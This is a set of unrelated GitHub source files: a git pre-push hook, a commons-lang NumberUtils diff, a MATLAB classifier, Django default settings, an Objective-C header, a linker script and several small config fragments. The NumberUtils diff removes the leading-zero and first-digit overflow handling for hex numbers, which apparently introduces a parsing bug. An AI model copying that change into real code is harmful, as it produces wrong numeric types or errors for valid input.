# A git commit hook that will automatically run format checking and DCO signoff
# checking before the push is successful.
#
# To enable this hook, run `bootstrap`, or run the following from the root of
# the repo. (Note that `bootstrap` will correctly install this even if this code
# is located in a submodule, while the following won't.)
#
# $ ln -s ../../support/hooks/pre-push .git/hooks/pre-push
DUMMY_SHA=0000000000000000000000000000000000000000
echo "Running pre-push check; to skip this step use 'push --no-verify'"
while read LOCAL_REF LOCAL_SHA REMOTE_REF REMOTE_SHA
do
if [ "$LOCAL_SHA" = $DUMMY_SHA ]
then
# Branch deleted. Do nothing.
exit 0
else
if [ "$REMOTE_SHA" = $DUMMY_SHA ]
then
# New branch. Verify the last commit, since this is very likely where the new code is
# (though there is no way to know for sure). In the extremely uncommon case in which someone
# pushes more than 1 new commit to a branch, CI will enforce full checking.
RANGE="$LOCAL_SHA~1..$LOCAL_SHA"
else
# Updating branch. Verify new commits.
RANGE="$REMOTE_SHA..$LOCAL_SHA"
fi
# Verify DCO signoff. We do this before the format checker, since it has
# some probability of failing spuriously, while this check never should.
#
# In general, we can't assume that the commits are signed off by author
# pushing, so we settle for just checking that there is a signoff at all.
SIGNED_OFF=$(git rev-list --no-merges --grep "^Signed-off-by: " "$RANGE")
NOT_SIGNED_OFF=$(git rev-list --no-merges "$RANGE" | grep -Fxv "$SIGNED_OFF")
if [ -n "$NOT_SIGNED_OFF" ]
then
echo >&2 "ERROR: The following commits do not have DCO signoff:"
while read -r commit; do
echo " $(git log --pretty=oneline --abbrev-commit -n 1 $commit)"
done <<< "$NOT_SIGNED_OFF"
exit 1
fi
# NOTE: The `tools` directory will be the same relative to the support
# directory, independent of whether we're in a submodule, so no need to use
# our `relpath` helper.
SCRIPT_DIR="$(dirname "$(realpath "$0")")/../../tools"
# TODO(hausdorff): We should have a more graceful failure story when the
# user does not have all the tools set up correctly. This script assumes
# `$CLANG_FORMAT` and `$BUILDIFY` are defined, or that the default values it
# assumes for these variables correspond to real binaries on the system. If
# either of these things aren't true, the check fails.
for i in $(git diff --name-only $RANGE --diff-filter=ACMR --ignore-submodules=all 2>&1); do
echo -ne " Checking format for $i - "
"$SCRIPT_DIR"/code_format/check_format.py check $i
if [[ $? -ne 0 ]]; then
exit 1
fi
echo " Checking spelling for $i"
"$SCRIPT_DIR"/spelling/check_spelling_pedantic.py check $i
if [[ $? -ne 0 ]]; then
exit 1
fi
done
# TODO(mattklein123): Optimally we would be able to do this on a per-file basis.
"$SCRIPT_DIR"/proto_format/proto_format.sh check
if [[ $? -ne 0 ]]; then
exit 1
fi
"$SCRIPT_DIR"/code_format/format_python_tools.sh check
if [[ $? -ne 0 ]]; then
exit 1
fi
# Check correctness of repositories definitions.
echo " Checking repositories definitions"
if ! "$SCRIPT_DIR"/check_repositories.sh; then
exit 1
fi
fi
done
exit 0
| {
"pile_set_name": "Github"
} |
diff --git a/src/main/java/org/apache/commons/lang3/math/NumberUtils.java b/src/main/java/org/apache/commons/lang3/math/NumberUtils.java
index 70b8d64..1e6ccdc 100644
--- a/src/main/java/org/apache/commons/lang3/math/NumberUtils.java
+++ b/src/main/java/org/apache/commons/lang3/math/NumberUtils.java
@@ -464,20 +464,11 @@ public class NumberUtils {
}
}
if (pfxLen > 0) { // we have a hex number
- char firstSigDigit = 0; // strip leading zeroes
- for(int i = pfxLen; i < str.length(); i++) {
- firstSigDigit = str.charAt(i);
- if (firstSigDigit == '0') { // count leading zeroes
- pfxLen++;
- } else {
- break;
- }
- }
final int hexDigits = str.length() - pfxLen;
- if (hexDigits > 16 || (hexDigits == 16 && firstSigDigit > '7')) { // too many for Long
+ if (hexDigits > 16) { // too many for Long
return createBigInteger(str);
}
- if (hexDigits > 8 || (hexDigits == 8 && firstSigDigit > '7')) { // too many for an int
+ if (hexDigits > 8) { // too many for an int
return createLong(str);
}
return createInteger(str);
| {
"pile_set_name": "Github"
} |
named_struct(name1, val1, name2, val2, ...) - Creates a struct with the given field names and values
| {
"pile_set_name": "Github"
} |
function [accuracy,predictlabel] = SRDApredict(fea, gnd, model)
% SRDApredict: Spectral Regression Discriminant Analysis Prediction
% SRDApredict uses SRDA as a classifier. It used the nearest
% center rule in the SRDA subspace for classification.
%
% [predictlabel,accuracy,elapse] = SRDApredict(fea, gnd, model);
%
% Input:
%
% fea - data matrix. Each row is a data point.
% gnd - Label vector of fea.
% model - model trained by SRKDAtrain.m
%
% Output:
%
% accuracy - classification accuracy
% predictlabel - predict label for fea
%
% Examples:
%
%
% See also SRDAtrain, SR, SR_caller
%
%Reference:
%
% [1] Deng Cai, Xiaofei He and Jiawei Han, "SRDA: An Efficient Algorithm for
% Large Scale Discriminant Analysis" IEEE Transactions on Knowledge and
% Data Engineering, vol. 20, no. 1, pp. 1-12, January, 2008.
%
% [2] Deng Cai, "Spectral Regression: A Regression Framework for
% Efficient Regularized Subspace Learning", PhD Thesis, Department of
% Computer Science, UIUC, 2009.
%
% [3] Deng Cai, Xiaofei He and Jiawei Han, "Semi-Supervised Discriminant
% Analysis ", IEEE International Conference on Computer Vision (ICCV),
% Rio de Janeiro, Brazil, Oct. 2007.
%
% version 3.0 --Jan/2012
% version 2.0 --December/2011
% version 1.0 --May/2006
%
% Written by Deng Cai (dengcai AT gmail.com)
%
if ~strcmp(model.TYPE,'SRDA')
error('model does not match!');
end
nTest = size(fea,1);
if model.LARs
accuracy = zeros(length(model.LassoCardi),1);
predictlabel = zeros(nTest,length(model.LassoCardi));
for i=1:length(model.LassoCardi)
Embed_Test = fea*model.projection{i};
D = EuDist2(Embed_Test,model.ClassCenter{i},0);
[dump, idx] = min(D,[],2);
predictlabel(:,i) = model.ClassLabel(idx);
accuracy(i) = 1 - length(find(predictlabel(:,i)-gnd))/nTest;
end
else
Embed_Test = fea*model.projection;
D = EuDist2(Embed_Test,model.ClassCenter,0);
[dump, idx] = min(D,[],2);
predictlabel = model.ClassLabel(idx);
accuracy = 1 - length(find(predictlabel-gnd))/nTest;
end
| {
"pile_set_name": "Github"
} |
/*
* Copyright (c) 2019 Google LLC.
* Copyright (c) 2016-2018 Nest Labs, Inc.
* All rights reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* THIS FILE IS GENERATED. DO NOT MODIFY.
*
* SOURCE TEMPLATE: trait.c.h
* SOURCE PROTO: weave/trait/security/bolt_lock_settings_trait.proto
*
*/
#ifndef _WEAVE_TRAIT_SECURITY__BOLT_LOCK_SETTINGS_TRAIT_C_H_
#define _WEAVE_TRAIT_SECURITY__BOLT_LOCK_SETTINGS_TRAIT_C_H_
#endif // _WEAVE_TRAIT_SECURITY__BOLT_LOCK_SETTINGS_TRAIT_C_H_
| {
"pile_set_name": "Github"
} |
TRACE customLogger.XLoggerTestCase - Message 0
| {
"pile_set_name": "Github"
} |
//
// MOOStyleTrait.h
// MOOMaskedIconView
//
// Created by Peyton Randolph on 2/26/12.
//
#import <UIKit/UIKit.h>
#import "MOOMaskedIconView.h"
/**
MOOStyleTrait is a protocol defining the basic operations of a style trait.
*/
@protocol MOOStyleTrait <NSObject>
@property (nonatomic, strong, readonly) Protocol *styleProtocol;
/**
* Creates and returns a new, autoreleased trait
*/
+ (id<MOOStyleTrait>)trait;
/**
* Overwrites properties of the current trait with values from another trait as long as those values are set on the other trait.
*/
- (void)mixInTrait:(id<MOOStyleTrait>)otherTrait;
/**
* Calls mixInTrait: on every element in an array of traits.
*
* @see mixInTrait:
*/
- (void)mixInTraits:(NSArray *)traits;
/**
* Creates a new trait composed of the current trait and a passed-in trait. Does not overwrite properties on the callee, unlike mixInTrait:.
*
* @see mixInTrait:
*/
- (id<MOOStyleTrait>)traitMixedWithTrait:(id<MOOStyleTrait>)otherTrait;
/**
* Creates a trait composed of the current trait and an array of other traits. Does not overwrite properties on the callee, unlike mixInTraits:.
*
* @see traitMixedWithTrait:
* @see mixInTrait:
*/
- (id<MOOStyleTrait>)traitMixedWithTraits:(NSArray *)otherTraits;
@end
/**
MOOStyleTrait is an implementation of <MOOStyleTrait> that conforms to <MOOMaskedIconViewStyles>
*/
@interface MOOStyleTrait : NSObject <MOOMaskedIconViewStyles, MOOStyleTrait>
+ (MOOStyleTrait *)trait;
@end
/** @name Helper functions */
/**
* Returns the set of all property names in a protocol excluding <NSObject> properties.
*/
NSSet *propertyNamesForStyleProtocol(Protocol *proto);
/**
* Returns the set of all property names in a protocol.
*/
NSSet *propertyNamesForProtocol(Protocol *proto);
| {
"pile_set_name": "Github"
} |
# Default Django settings. Override these with settings in the module
# pointed-to by the DJANGO_SETTINGS_MODULE environment variable.
# This is defined here as a do-nothing function because we can't import
# django.utils.translation -- that module depends on the settings.
gettext_noop = lambda s: s
####################
# CORE #
####################
DEBUG = False
TEMPLATE_DEBUG = False
# Whether the framework should propagate raw exceptions rather than catching
# them. This is useful under some testing situations and should never be used
# on a live site.
DEBUG_PROPAGATE_EXCEPTIONS = False
# Whether to use the "Etag" header. This saves bandwidth but slows down performance.
USE_ETAGS = False
# People who get code error notifications.
# In the format (('Full Name', 'email@example.com'), ('Full Name', 'anotheremail@example.com'))
ADMINS = ()
# Tuple of IP addresses, as strings, that:
# * See debug comments, when DEBUG is true
# * Receive x-headers
INTERNAL_IPS = ()
# Hosts/domain names that are valid for this site.
# "*" matches anything, ".example.com" matches example.com and all subdomains
ALLOWED_HOSTS = []
# Local time zone for this installation. All choices can be found here:
# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name (although not all
# systems may support all possibilities). When USE_TZ is True, this is
# interpreted as the default user time zone.
TIME_ZONE = 'America/Chicago'
# If you set this to True, Django will use timezone-aware datetimes.
USE_TZ = False
# Language code for this installation. All choices can be found here:
# http://www.i18nguy.com/unicode/language-identifiers.html
LANGUAGE_CODE = 'en-us'
# Languages we provide translations for, out of the box.
LANGUAGES = (
('af', gettext_noop('Afrikaans')),
('ar', gettext_noop('Arabic')),
('az', gettext_noop('Azerbaijani')),
('bg', gettext_noop('Bulgarian')),
('be', gettext_noop('Belarusian')),
('bn', gettext_noop('Bengali')),
('br', gettext_noop('Breton')),
('bs', gettext_noop('Bosnian')),
('ca', gettext_noop('Catalan')),
('cs', gettext_noop('Czech')),
('cy', gettext_noop('Welsh')),
('da', gettext_noop('Danish')),
('de', gettext_noop('German')),
('el', gettext_noop('Greek')),
('en', gettext_noop('English')),
('en-gb', gettext_noop('British English')),
('eo', gettext_noop('Esperanto')),
('es', gettext_noop('Spanish')),
('es-ar', gettext_noop('Argentinian Spanish')),
('es-mx', gettext_noop('Mexican Spanish')),
('es-ni', gettext_noop('Nicaraguan Spanish')),
('es-ve', gettext_noop('Venezuelan Spanish')),
('et', gettext_noop('Estonian')),
('eu', gettext_noop('Basque')),
('fa', gettext_noop('Persian')),
('fi', gettext_noop('Finnish')),
('fr', gettext_noop('French')),
('fy-nl', gettext_noop('Frisian')),
('ga', gettext_noop('Irish')),
('gl', gettext_noop('Galician')),
('he', gettext_noop('Hebrew')),
('hi', gettext_noop('Hindi')),
('hr', gettext_noop('Croatian')),
('hu', gettext_noop('Hungarian')),
('ia', gettext_noop('Interlingua')),
('id', gettext_noop('Indonesian')),
('is', gettext_noop('Icelandic')),
('it', gettext_noop('Italian')),
('ja', gettext_noop('Japanese')),
('ka', gettext_noop('Georgian')),
('kk', gettext_noop('Kazakh')),
('km', gettext_noop('Khmer')),
('kn', gettext_noop('Kannada')),
('ko', gettext_noop('Korean')),
('lb', gettext_noop('Luxembourgish')),
('lt', gettext_noop('Lithuanian')),
('lv', gettext_noop('Latvian')),
('mk', gettext_noop('Macedonian')),
('ml', gettext_noop('Malayalam')),
('mn', gettext_noop('Mongolian')),
('my', gettext_noop('Burmese')),
('nb', gettext_noop('Norwegian Bokmal')),
('ne', gettext_noop('Nepali')),
('nl', gettext_noop('Dutch')),
('nn', gettext_noop('Norwegian Nynorsk')),
('os', gettext_noop('Ossetic')),
('pa', gettext_noop('Punjabi')),
('pl', gettext_noop('Polish')),
('pt', gettext_noop('Portuguese')),
('pt-br', gettext_noop('Brazilian Portuguese')),
('ro', gettext_noop('Romanian')),
('ru', gettext_noop('Russian')),
('sk', gettext_noop('Slovak')),
('sl', gettext_noop('Slovenian')),
('sq', gettext_noop('Albanian')),
('sr', gettext_noop('Serbian')),
('sr-latn', gettext_noop('Serbian Latin')),
('sv', gettext_noop('Swedish')),
('sw', gettext_noop('Swahili')),
('ta', gettext_noop('Tamil')),
('te', gettext_noop('Telugu')),
('th', gettext_noop('Thai')),
('tr', gettext_noop('Turkish')),
('tt', gettext_noop('Tatar')),
('udm', gettext_noop('Udmurt')),
('uk', gettext_noop('Ukrainian')),
('ur', gettext_noop('Urdu')),
('vi', gettext_noop('Vietnamese')),
('zh-cn', gettext_noop('Simplified Chinese')),
('zh-tw', gettext_noop('Traditional Chinese')),
)
# Languages using BiDi (right-to-left) layout
LANGUAGES_BIDI = ("he", "ar", "fa", "ur")
# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = True
LOCALE_PATHS = ()
LANGUAGE_COOKIE_NAME = 'django_language'
# If you set this to True, Django will format dates, numbers and calendars
# according to user current locale.
USE_L10N = False
# Not-necessarily-technical managers of the site. They get broken link
# notifications and other various emails.
MANAGERS = ADMINS
# Default content type and charset to use for all HttpResponse objects, if a
# MIME type isn't manually specified. These are used to construct the
# Content-Type header.
DEFAULT_CONTENT_TYPE = 'text/html'
DEFAULT_CHARSET = 'utf-8'
# Encoding of files read from disk (template and initial SQL files).
FILE_CHARSET = 'utf-8'
# Email address that error messages come from.
SERVER_EMAIL = 'root@localhost'
# Whether to send broken-link emails. Deprecated, must be removed in 1.8.
SEND_BROKEN_LINK_EMAILS = False
# Database connection info. If left empty, will default to the dummy backend.
DATABASES = {}
# Classes used to implement DB routing behavior.
DATABASE_ROUTERS = []
# The email backend to use. For possible shortcuts see django.core.mail.
# The default is to use the SMTP backend.
# Third-party backends can be specified by providing a Python path
# to a module that defines an EmailBackend class.
EMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'
# Host for sending email.
EMAIL_HOST = 'localhost'
# Port for sending email.
EMAIL_PORT = 25
# Optional SMTP authentication information for EMAIL_HOST.
EMAIL_HOST_USER = ''
EMAIL_HOST_PASSWORD = ''
EMAIL_USE_TLS = False
# List of strings representing installed apps.
INSTALLED_APPS = ()
# List of locations of the template source files, in search order.
TEMPLATE_DIRS = ()
# List of callables that know how to import templates from various sources.
# See the comments in django/core/template/loader.py for interface
# documentation.
TEMPLATE_LOADERS = (
'django.template.loaders.filesystem.Loader',
'django.template.loaders.app_directories.Loader',
# 'django.template.loaders.eggs.Loader',
)
# List of processors used by RequestContext to populate the context.
# Each one should be a callable that takes the request object as its
# only parameter and returns a dictionary to add to the context.
TEMPLATE_CONTEXT_PROCESSORS = (
'django.contrib.auth.context_processors.auth',
'django.core.context_processors.debug',
'django.core.context_processors.i18n',
'django.core.context_processors.media',
'django.core.context_processors.static',
'django.core.context_processors.tz',
# 'django.core.context_processors.request',
'django.contrib.messages.context_processors.messages',
)
# Output to use in template system for invalid (e.g. misspelled) variables.
TEMPLATE_STRING_IF_INVALID = ''
# Default email address to use for various automated correspondence from
# the site managers.
DEFAULT_FROM_EMAIL = 'webmaster@localhost'
# Subject-line prefix for email messages send with django.core.mail.mail_admins
# or ...mail_managers. Make sure to include the trailing space.
EMAIL_SUBJECT_PREFIX = '[Django] '
# Whether to append trailing slashes to URLs.
APPEND_SLASH = True
# Whether to prepend the "www." subdomain to URLs that don't have it.
PREPEND_WWW = False
# Override the server-derived value of SCRIPT_NAME
FORCE_SCRIPT_NAME = None
# List of compiled regular expression objects representing User-Agent strings
# that are not allowed to visit any page, systemwide. Use this for bad
# robots/crawlers. Here are a few examples:
# import re
# DISALLOWED_USER_AGENTS = (
# re.compile(r'^NaverBot.*'),
# re.compile(r'^EmailSiphon.*'),
# re.compile(r'^SiteSucker.*'),
# re.compile(r'^sohu-search')
# )
DISALLOWED_USER_AGENTS = ()
ABSOLUTE_URL_OVERRIDES = {}
# Tuple of strings representing allowed prefixes for the {% ssi %} tag.
# Example: ('/home/html', '/var/www')
ALLOWED_INCLUDE_ROOTS = ()
# If this is a admin settings module, this should be a list of
# settings modules (in the format 'foo.bar.baz') for which this admin
# is an admin.
ADMIN_FOR = ()
# List of compiled regular expression objects representing URLs that need not
# be reported by BrokenLinkEmailsMiddleware. Here are a few examples:
# import re
# IGNORABLE_404_URLS = (
# re.compile(r'^/apple-touch-icon.*\.png$'),
# re.compile(r'^/favicon.ico$),
# re.compile(r'^/robots.txt$),
# re.compile(r'^/phpmyadmin/),
# re.compile(r'\.(cgi|php|pl)$'),
# )
IGNORABLE_404_URLS = ()
# A secret key for this particular Django installation. Used in secret-key
# hashing algorithms. Set this in your settings, or Django will complain
# loudly.
SECRET_KEY = ''
# Default file storage mechanism that holds media.
DEFAULT_FILE_STORAGE = 'django.core.files.storage.FileSystemStorage'
# Absolute filesystem path to the directory that will hold user-uploaded files.
# Example: "/var/www/example.com/media/"
MEDIA_ROOT = ''
# URL that handles the media served from MEDIA_ROOT.
# Examples: "http://example.com/media/", "http://media.example.com/"
MEDIA_URL = ''
# Absolute path to the directory static files should be collected to.
# Example: "/var/www/example.com/static/"
STATIC_ROOT = ''
# URL that handles the static files served from STATIC_ROOT.
# Example: "http://example.com/static/", "http://static.example.com/"
STATIC_URL = None
# List of upload handler classes to be applied in order.
FILE_UPLOAD_HANDLERS = (
'django.core.files.uploadhandler.MemoryFileUploadHandler',
'django.core.files.uploadhandler.TemporaryFileUploadHandler',
)
# Maximum size, in bytes, of a request before it will be streamed to the
# file system instead of into memory.
FILE_UPLOAD_MAX_MEMORY_SIZE = 2621440 # i.e. 2.5 MB
# Directory in which upload streamed files will be temporarily saved. A value of
# `None` will make Django use the operating system's default temporary directory
# (i.e. "/tmp" on *nix systems).
FILE_UPLOAD_TEMP_DIR = None
# The numeric mode to set newly-uploaded files to. The value should be a mode
# you'd pass directly to os.chmod; see http://docs.python.org/lib/os-file-dir.html.
FILE_UPLOAD_PERMISSIONS = None
# Python module path where user will place custom format definition.
# The directory where this setting is pointing should contain subdirectories
# named as the locales, containing a formats.py file
# (i.e. "myproject.locale" for myproject/locale/en/formats.py etc. use)
FORMAT_MODULE_PATH = None
# Default formatting for date objects. See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'N j, Y'
# Default formatting for datetime objects. See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATETIME_FORMAT = 'N j, Y, P'
# Default formatting for time objects. See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
TIME_FORMAT = 'P'
# Default formatting for date objects when only the year and month are relevant.
# See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
YEAR_MONTH_FORMAT = 'F Y'
# Default formatting for date objects when only the month and day are relevant.
# See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
MONTH_DAY_FORMAT = 'F j'
# Default short formatting for date objects. See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
SHORT_DATE_FORMAT = 'm/d/Y'
# Default short formatting for datetime objects.
# See all available format strings here:
# http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
SHORT_DATETIME_FORMAT = 'm/d/Y P'
# Default formats to be used when parsing dates from input boxes, in order
# See all available format string here:
# http://docs.python.org/library/datetime.html#strftime-behavior
# * Note that these format strings are different from the ones to display dates
DATE_INPUT_FORMATS = (
'%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y', # '2006-10-25', '10/25/2006', '10/25/06'
'%b %d %Y', '%b %d, %Y', # 'Oct 25 2006', 'Oct 25, 2006'
'%d %b %Y', '%d %b, %Y', # '25 Oct 2006', '25 Oct, 2006'
'%B %d %Y', '%B %d, %Y', # 'October 25 2006', 'October 25, 2006'
'%d %B %Y', '%d %B, %Y', # '25 October 2006', '25 October, 2006'
)
# Default formats to be used when parsing times from input boxes, in order
# See all available format string here:
# http://docs.python.org/library/datetime.html#strftime-behavior
# * Note that these format strings are different from the ones to display dates
TIME_INPUT_FORMATS = (
'%H:%M:%S', # '14:30:59'
'%H:%M:%S.%f', # '14:30:59.000200'
'%H:%M', # '14:30'
)
# Default formats to be used when parsing dates and times from input boxes,
# in order
# See all available format string here:
# http://docs.python.org/library/datetime.html#strftime-behavior
# * Note that these format strings are different from the ones to display dates
DATETIME_INPUT_FORMATS = (
'%Y-%m-%d %H:%M:%S', # '2006-10-25 14:30:59'
'%Y-%m-%d %H:%M:%S.%f', # '2006-10-25 14:30:59.000200'
'%Y-%m-%d %H:%M', # '2006-10-25 14:30'
'%Y-%m-%d', # '2006-10-25'
'%m/%d/%Y %H:%M:%S', # '10/25/2006 14:30:59'
'%m/%d/%Y %H:%M:%S.%f', # '10/25/2006 14:30:59.000200'
'%m/%d/%Y %H:%M', # '10/25/2006 14:30'
'%m/%d/%Y', # '10/25/2006'
'%m/%d/%y %H:%M:%S', # '10/25/06 14:30:59'
'%m/%d/%y %H:%M:%S.%f', # '10/25/06 14:30:59.000200'
'%m/%d/%y %H:%M', # '10/25/06 14:30'
'%m/%d/%y', # '10/25/06'
)
# First day of week, to be used on calendars
# 0 means Sunday, 1 means Monday...
FIRST_DAY_OF_WEEK = 0
# Decimal separator symbol
DECIMAL_SEPARATOR = '.'
# Boolean that sets whether to add thousand separator when formatting numbers
USE_THOUSAND_SEPARATOR = False
# Number of digits that will be together, when splitting them by
# THOUSAND_SEPARATOR. 0 means no grouping, 3 means splitting by thousands...
NUMBER_GROUPING = 0
# Thousand separator symbol
THOUSAND_SEPARATOR = ','
# Do you want to manage transactions manually?
# Hint: you really don't!
TRANSACTIONS_MANAGED = False
# The tablespaces to use for each model when not specified otherwise.
DEFAULT_TABLESPACE = ''
DEFAULT_INDEX_TABLESPACE = ''
# Default X-Frame-Options header value
X_FRAME_OPTIONS = 'SAMEORIGIN'
USE_X_FORWARDED_HOST = False
# The Python dotted path to the WSGI application that Django's internal servers
# (runserver, runfcgi) will use. If `None`, the return value of
# 'django.core.wsgi.get_wsgi_application' is used, thus preserving the same
# behavior as previous versions of Django. Otherwise this should point to an
# actual WSGI application object.
WSGI_APPLICATION = None
# If your Django app is behind a proxy that sets a header to specify secure
# connections, AND that proxy ensures that user-submitted headers with the
# same name are ignored (so that people can't spoof it), set this value to
# a tuple of (header_name, header_value). For any requests that come in with
# that header/value, request.is_secure() will return True.
# WARNING! Only set this if you fully understand what you're doing. Otherwise,
# you may be opening yourself up to a security risk.
SECURE_PROXY_SSL_HEADER = None
##############
# MIDDLEWARE #
##############
# List of middleware classes to use. Order is important; in the request phase,
# this middleware classes will be applied in the order given, and in the
# response phase the middleware will be applied in reverse order.
MIDDLEWARE_CLASSES = (
'django.middleware.common.CommonMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
# 'django.middleware.http.ConditionalGetMiddleware',
# 'django.middleware.gzip.GZipMiddleware',
)
############
# SESSIONS #
############
SESSION_CACHE_ALIAS = 'default' # Cache to store session data if using the cache session backend.
SESSION_COOKIE_NAME = 'sessionid' # Cookie name. This can be whatever you want.
SESSION_COOKIE_AGE = 60 * 60 * 24 * 7 * 2 # Age of cookie, in seconds (default: 2 weeks).
SESSION_COOKIE_DOMAIN = None # A string like ".example.com", or None for standard domain cookie.
SESSION_COOKIE_SECURE = False # Whether the session cookie should be secure (https:// only).
SESSION_COOKIE_PATH = '/' # The path of the session cookie.
SESSION_COOKIE_HTTPONLY = True # Whether to use the non-RFC standard httpOnly flag (IE, FF3+, others)
SESSION_SAVE_EVERY_REQUEST = False # Whether to save the session data on every request.
SESSION_EXPIRE_AT_BROWSER_CLOSE = False # Whether a user's session cookie expires when the Web browser is closed.
SESSION_ENGINE = 'django.contrib.sessions.backends.db' # The module to store session data
SESSION_FILE_PATH = None # Directory to store session files if using the file session module. If None, the backend will use a sensible default.
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer' # class to serialize session data
#########
# CACHE #
#########
# The cache backends to use.
CACHES = {
'default': {
'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
}
}
CACHE_MIDDLEWARE_KEY_PREFIX = ''
CACHE_MIDDLEWARE_SECONDS = 600
CACHE_MIDDLEWARE_ALIAS = 'default'
####################
# COMMENTS #
####################
COMMENTS_ALLOW_PROFANITIES = False
# The profanities that will trigger a validation error in
# CommentDetailsForm.clean_comment. All of these should be in lowercase.
PROFANITIES_LIST = ()
##################
# AUTHENTICATION #
##################
AUTH_USER_MODEL = 'auth.User'
AUTHENTICATION_BACKENDS = ('django.contrib.auth.backends.ModelBackend',)
LOGIN_URL = '/accounts/login/'
LOGOUT_URL = '/accounts/logout/'
LOGIN_REDIRECT_URL = '/accounts/profile/'
# The number of days a password reset link is valid for
PASSWORD_RESET_TIMEOUT_DAYS = 3
# the first hasher in this list is the preferred algorithm. any
# password using different algorithms will be converted automatically
# upon login
PASSWORD_HASHERS = (
'django.contrib.auth.hashers.PBKDF2PasswordHasher',
'django.contrib.auth.hashers.PBKDF2SHA1PasswordHasher',
'django.contrib.auth.hashers.BCryptSHA256PasswordHasher',
'django.contrib.auth.hashers.BCryptPasswordHasher',
'django.contrib.auth.hashers.SHA1PasswordHasher',
'django.contrib.auth.hashers.MD5PasswordHasher',
'django.contrib.auth.hashers.UnsaltedSHA1PasswordHasher',
'django.contrib.auth.hashers.UnsaltedMD5PasswordHasher',
'django.contrib.auth.hashers.CryptPasswordHasher',
)
###########
# SIGNING #
###########
SIGNING_BACKEND = 'django.core.signing.TimestampSigner'
########
# CSRF #
########
# Dotted path to callable to be used as view when a request is
# rejected by the CSRF middleware.
CSRF_FAILURE_VIEW = 'django.views.csrf.csrf_failure'
# Settings for CSRF cookie.
CSRF_COOKIE_NAME = 'csrftoken'
CSRF_COOKIE_DOMAIN = None
CSRF_COOKIE_PATH = '/'
CSRF_COOKIE_SECURE = False
CSRF_COOKIE_HTTPONLY = False
############
# MESSAGES #
############
# Class to use as messages backend
MESSAGE_STORAGE = 'django.contrib.messages.storage.fallback.FallbackStorage'
# Default values of MESSAGE_LEVEL and MESSAGE_TAGS are defined within
# django.contrib.messages to avoid imports in this settings file.
###########
# LOGGING #
###########
# The callable to use to configure logging
LOGGING_CONFIG = 'django.utils.log.dictConfig'
# Custom logging configuration.
LOGGING = {}
# Default exception reporter filter class used in case none has been
# specifically assigned to the HttpRequest instance.
DEFAULT_EXCEPTION_REPORTER_FILTER = 'django.views.debug.SafeExceptionReporterFilter'
###########
# TESTING #
###########
# The name of the class to use to run the test suite
TEST_RUNNER = 'django.test.runner.DiscoverRunner'
############
# FIXTURES #
############
# The list of directories to search for fixtures
FIXTURE_DIRS = ()
###############
# STATICFILES #
###############
# A list of locations of additional static files
STATICFILES_DIRS = ()
# The default file storage backend used during the build process
STATICFILES_STORAGE = 'django.contrib.staticfiles.storage.StaticFilesStorage'
# List of finder classes that know how to find static files in
# various locations.
STATICFILES_FINDERS = (
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
# 'django.contrib.staticfiles.finders.DefaultStorageFinder',
)
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<resources>
<integer name="act_anim_duration">200</integer>
</resources> | {
"pile_set_name": "Github"
} |
/*###ICF### Section handled by ICF editor, don't touch! ****/
/*-Editor annotation file-*/
/* IcfEditorFile="$TOOLKIT_DIR$\config\ide\IcfEditor\cortex_v1_0.xml" */
/*-Specials-*/
define symbol __ICFEDIT_intvec_start__ = 0x08000000;
/*-Memory Regions-*/
define symbol __ICFEDIT_region_ROM_start__ = 0x08000000;
define symbol __ICFEDIT_region_ROM_end__ = 0x081FFFFF;
define symbol __ICFEDIT_region_RAM_start__ = 0x20000000;
define symbol __ICFEDIT_region_RAM_end__ = 0x2002FFFF;
define symbol __ICFEDIT_region_CCMRAM_start__ = 0x10000000;
define symbol __ICFEDIT_region_CCMRAM_end__ = 0x1000FFFF;
/*-Sizes-*/
define symbol __ICFEDIT_size_cstack__ = 0x400;
define symbol __ICFEDIT_size_heap__ = 0x200;
/**** End of ICF editor section. ###ICF###*/
define memory mem with size = 4G;
define region ROM_region = mem:[from __ICFEDIT_region_ROM_start__ to __ICFEDIT_region_ROM_end__];
define region RAM_region = mem:[from __ICFEDIT_region_RAM_start__ to __ICFEDIT_region_RAM_end__];
define region CCMRAM_region = mem:[from __ICFEDIT_region_CCMRAM_start__ to __ICFEDIT_region_CCMRAM_end__];
define block CSTACK with alignment = 8, size = __ICFEDIT_size_cstack__ { };
define block HEAP with alignment = 8, size = __ICFEDIT_size_heap__ { };
initialize by copy { readwrite };
do not initialize { section .noinit };
place at address mem:__ICFEDIT_intvec_start__ { readonly section .intvec };
place in ROM_region { readonly };
place in RAM_region { readwrite,
block CSTACK, block HEAP }; | {
"pile_set_name": "Github"
} |
<Project>
<!-- Common to all Lidarr Projects -->
<PropertyGroup>
<TreatWarningsAsErrors>true</TreatWarningsAsErrors>
<PlatformTarget>AnyCPU</PlatformTarget>
<TargetLatestRuntimePatch>true</TargetLatestRuntimePatch>
